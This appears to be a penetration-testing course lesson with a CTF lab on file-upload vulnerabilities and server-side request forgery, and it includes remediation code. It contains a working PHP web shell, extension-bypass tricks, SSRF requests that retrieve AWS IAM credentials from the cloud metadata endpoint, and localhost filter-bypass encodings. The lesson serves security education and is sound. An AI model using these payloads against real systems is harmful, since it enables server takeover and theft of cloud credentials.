Browse CTFs New CTF Sign in

File Upload & Server-Side Request Forgery (SSRF)

web_injection_logic Difficulty 2–3 55 min certifiable

Theory

Prerequisites

  • PEN-K005: SQL Injection
  • FND-K006: HTTP Traffic Deep Dive

Why This Lesson Matters

A file upload vulnerability can turn a document submission form into full server takeover. SSRF turns the web server itself into an attacker's proxy — reaching internal services that are firewalled from the internet. Both are in the OWASP Top 10 and both are found regularly in real assessments. The techniques here range from trivial (uploading a PHP shell) to sophisticated (pivoting through SSRF to cloud metadata credentials).


1. File Upload Vulnerabilities

1.1 Why Upload Functions Are Dangerous

An upload endpoint that accepts any file type and serves it back via a predictable URL gives the attacker a way to: - Execute server-side code (web shell) - Serve malicious content to other users (stored XSS via SVG/HTML) - Stage additional tools on the server

1.2 Detection

Test 1: Upload a .php file directly
Test 2: If rejected, try extension bypass techniques:
  .php → .php5, .phtml, .php7, .pHp, .PHP
  .php → .php.jpg (double extension)
  .php → .php%00.jpg (null byte injection — older PHP)
  .php → .php;.jpg (some servers strip after ;)
Test 3: Modify Content-Type header to image/jpeg while keeping .php extension
Test 4: Upload a .html or .svg file (allows stored XSS even without RCE)

1.3 Web Shell Payloads

<?php system($_GET['cmd']); ?>

Access: https://app.corp.local/uploads/shell.php?cmd=id

Minimum shell — print output:

/uploads/shell.php?cmd=id
→ uid=33(www-data) gid=33(www-data)

/uploads/shell.php?cmd=cat+/etc/passwd

/uploads/shell.php?cmd=ls+-la+/var/www/html

/uploads/shell.php?cmd=find+/+name+flag.txt+2>/dev/null

Important: After confirming RCE, do not proceed to full server exploitation without confirming it is in scope and notifying the emergency contact for a Critical finding.

1.4 Remediation

# Server-side validation (Python/Flask example)
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
UPLOAD_FOLDER = '/var/www/html/uploads/'  # Outside web root? No direct execution.

def allowed_file(filename):
    return '.' in filename and 
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

# Additional: rename file to random hash (breaks predictable URL)
# Store outside web root (breaks direct execution)
# Serve through a proxy that sets Content-Disposition: attachment

2. Server-Side Request Forgery (SSRF)

2.1 The Core Concept

SSRF occurs when the server makes an HTTP request to a URL controlled by the attacker. The request originates from inside the server — bypassing network controls.

Analogy: You ask a bank teller (the web server) to make a call on your behalf. The teller can reach internal phone extensions that you, the customer, cannot. SSRF exploits this trusted position.

Normal:  Client → Internet → Server

SSRF:    Client → Server → Internal network
                    ↑
            The server becomes the attacker's proxy

2.2 Detection

Look for parameters that accept URLs or hostname/IP values:

?url=https://example.com/resource
?webhook=https://attacker.com
?image=https://cdn.example.com/photo.jpg
?redirect=https://partner.com
?endpoint=https://api.external.com

Test with an out-of-band server:

# Start a listener
python3 -m http.server 8080

# Send SSRF probe
curl "https://app.corp.local/fetch?url=http://YOUR_IP:8080/test"
# If your server receives a request → SSRF confirmed

2.3 Impactful SSRF Targets

# Cloud provider metadata service (AWS, Azure, GCP)
# Returns IAM credentials — this is Critical impact
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS: get the role name first
curl "http://app.corp.local/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Then get the credentials:
curl "http://app.corp.local/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"

# Internal admin panels
?url=http://127.0.0.1:8080/admin
?url=http://10.0.0.1:9200  # Elasticsearch — often unauthenticated internally

# Internal Redis
?url=http://10.0.0.5:6379

2.4 SSRF Filter Bypasses

Applications often try to block SSRF with IP blacklists:

# Blocked: 127.0.0.1
# Bypass attempts:
http://127.0.0.1/          → blocked
http://localhost/           → may work
http://2130706433/          → decimal IP for 127.0.0.1
http://0x7f000001/          → hex IP
http://127.0.0.1.nip.io/    → DNS that resolves to 127.0.0.1
http://[::1]/               → IPv6 loopback
http://127.1/               → short form

2.5 Remediation

# Whitelist approach (safest)
ALLOWED_HOSTS = ["cdn.corp.local", "api.partner.com"]

import urllib.parse
def validate_url(url):
    parsed = urllib.parse.urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("Host not allowed")
    return url

# Never use a blacklist approach — it is always bypassable

3. Common Mistakes

Mistake 1: Executing OS commands beyond confirming RCE. Once you confirm id works, the finding is proven (Critical RCE). Running rm -rf /, exfiltrating data, or installing tools goes beyond what is needed and beyond most RoEs.

Mistake 2: Only testing the obvious SSRF parameters. JSON bodies, XML documents, and redirect parameters also carry URLs. Test every value that might result in the server making an outbound request.

Mistake 3: Reporting "SSRF to localhost" without impact. http://127.0.0.1/ with a blank response is a confirmed SSRF but the impact is unclear. Demonstrate what internal service is reachable (admin panel, metadata, internal API) to score the finding accurately.


4. Practice Exercises

  1. An upload form accepts JPEGs only and validates by Content-Type header. You send a .php file with Content-Type: image/jpeg. The server accepts it. Classify the vulnerability and its CVSS impact.

  2. An SSRF probe to http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role returns an AWS access key. Score this finding. What do you NOT do with those credentials?

  3. A WAF blocks URLs containing 127.0.0.1. List three bypass techniques and explain which is most likely to succeed against a simple string-matching WAF.


5. Lab

Assessment mode: flag

challenge_spec_id: 164 — Unrestricted file upload

An application allows file uploads with client-side validation only.

Task: 1. Bypass the extension filter (modify the request with Burp) 2. Upload a PHP web shell 3. Use the shell to run cat /flag.txt 4. Submit the flag


6. Framework Alignment

Framework Role Competency Confidence
CCSSF-PEN Penetration Tester File upload and SSRF exploitation High
CCSSF-STE Security Testing File handling security testing High
CCSSF-ENG Security Engineer Secure file upload and URL validation High
NICE 2.2.0 Security Testing K0009 — Application vulnerabilities High

7. Further Reading

  • PortSwigger File Upload Labs — 7 labs covering all bypass techniques
  • PortSwigger SSRF Labs — 12 labs from basic to AWS metadata
  • PayloadsAllTheThings — https://github.com/swisskyrepo/PayloadsAllTheThings — Comprehensive bypass payload reference

Learning Objectives

["Test an upload endpoint with five extension bypass techniques (double extension, case change, null byte, MIME type mismatch, semicolon) and confirm code execution via a minimal PHP shell", "Detect an SSRF vulnerability using an out-of-band HTTP listener, then demonstrate internal network access by reaching the cloud metadata endpoint at 169.254.169.254", "Apply three SSRF localhost filter bypasses (decimal IP, IPv6, DNS rebind) against a described blacklist filter and explain why whitelist validation is the only reliable fix"]

Lesson Outline

Prerequisites → Why this matters → File upload: why dangerous, detection (5 bypass techniques), web shell, remediation → SSRF: core concept (bank teller analogy), detection, impactful targets (IMDS, internal services), filter bypasses, remediation → Common mistakes → Practice exercises → Lab (flag, spec 164) → Framework alignment → Further reading

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.